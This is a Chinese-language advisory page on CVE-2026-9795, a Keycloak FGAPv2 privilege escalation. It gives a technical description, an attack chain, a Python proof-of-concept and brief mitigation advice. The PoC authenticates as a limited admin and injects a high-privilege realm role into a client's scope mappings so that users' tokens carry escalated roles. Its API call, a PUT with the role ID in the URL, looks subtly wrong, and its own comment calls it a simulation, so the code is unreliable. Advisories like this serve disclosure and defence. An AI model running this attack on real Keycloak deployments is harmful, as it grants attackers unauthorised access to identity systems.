IPBUF安全漏洞报告
English
CVE-2026-9795 CVSS 7.3 高危

CVE-2026-9795 Keycloak权限提升漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9795
漏洞类型
权限提升
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Keycloak

相关标签

Keycloak权限提升FGAPAccess Control身份认证

漏洞概述

该漏洞存在于Keycloak的细粒度管理员权限(FGAPv2)功能中。拥有受限客户端管理权限的管理员可以利用此缺陷,将任意领域角色(包括高特权角色)分配给客户端的范围映射。这一行为绕过了预期的安全控制机制。当用户访问被修改的客户端时,被注入的角色会被投射到用户的身份验证令牌中,从而导致Keycloak领域内的未授权权限提升,严重影响系统的机密性和完整性。

技术细节

该漏洞的根源在于Keycloak细粒度管理员权限(FGAPv2)在处理客户端范围映射时的访问控制逻辑缺陷。在正常的安全模型下,受限管理员应仅能管理被授权的特定客户端及其关联的低权限角色。然而,漏洞允许攻击者突破这一限制,将“领域角色”强制绑定到其管理的客户端范围映射中。攻击者利用受限管理员账户,通过API或管理控制台,将高权限角色(如管理员角色)添加到客户端的Scope Mapping中。由于Keycloak在签发OIDC令牌时会根据客户端的Scope Mapping来决定令牌中包含的角色声明,因此,当普通用户通过该受损客户端进行认证登录时,系统会将高权限角色错误地注入到用户的Access Token中。攻击者随后可利用该令牌获得对敏感资源的未授权访问。

攻击链分析

STEP 1
1. 初始访问
攻击者获取一个拥有受限客户端管理权限的Keycloak管理员账户凭证。
STEP 2
2. 漏洞利用
攻击者利用FGAPv2的缺陷,通过管理接口将高权限的领域角色分配给其有权管理的客户端的Scope Mapping中。
STEP 3
3. 权限注入
诱导或等待普通用户使用该受损客户端进行身份验证和登录。
STEP 4
4. 权限提升
Keycloak签发包含高权限角色的访问令牌,用户利用该令牌获得未授权的系统访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration KEYCLOAK_URL = "https://target-keycloak.com" REALM = "master" CLIENT_ID = "admin-cli" ADMIN_USER = "limited_admin" ADMIN_PASS = "password" TARGET_CLIENT_ID = "target-client" # The ID of the high-privilege role to inject (e.g., 'admin') TARGET_ROLE_ID = "admin-role-id" # 1. Authenticate as the limited administrator to get a token auth_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" auth_data = { "client_id": CLIENT_ID, "username": ADMIN_USER, "password": ADMIN_PASS, "grant_type": "password" } auth_resp = requests.post(auth_url, data=auth_data) access_token = auth_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # 2. Get the ID of the target client clients_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients?clientId={TARGET_CLIENT_ID}" clients_resp = requests.get(clients_url, headers=headers) target_client_id = clients_resp.json()[0]['id'] # 3. Exploit: Add the realm role to the client's scope mappings # This simulates the bypass of FGAPv2 restrictions scope_mapping_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients/{target_client_id}/scope-mappings/realm/{TARGET_ROLE_ID}" print(f"Attempting to inject role {TARGET_ROLE_ID} into client {TARGET_CLIENT_ID} scope mapping...") # In a vulnerable version, this restricted admin might be allowed to perform this action exploit_resp = requests.put(scope_mapping_url, headers=headers) if exploit_resp.status_code == 204: print("[+] Exploit successful! Role mapped to client scope.") print("[+] Users authenticating to this client will now receive this role in their token.") else: print(f"[-] Exploit failed. Status code: {exploit_resp.status_code}") print(exploit_resp.text)

影响范围

Keycloak (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在未应用补丁前,建议管理员严格审查所有拥有客户端管理权限的账户,并监控客户端Scope Mapping的变更日志。如有可能,暂时撤销非必要管理员的客户端修改权限,直到漏洞修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表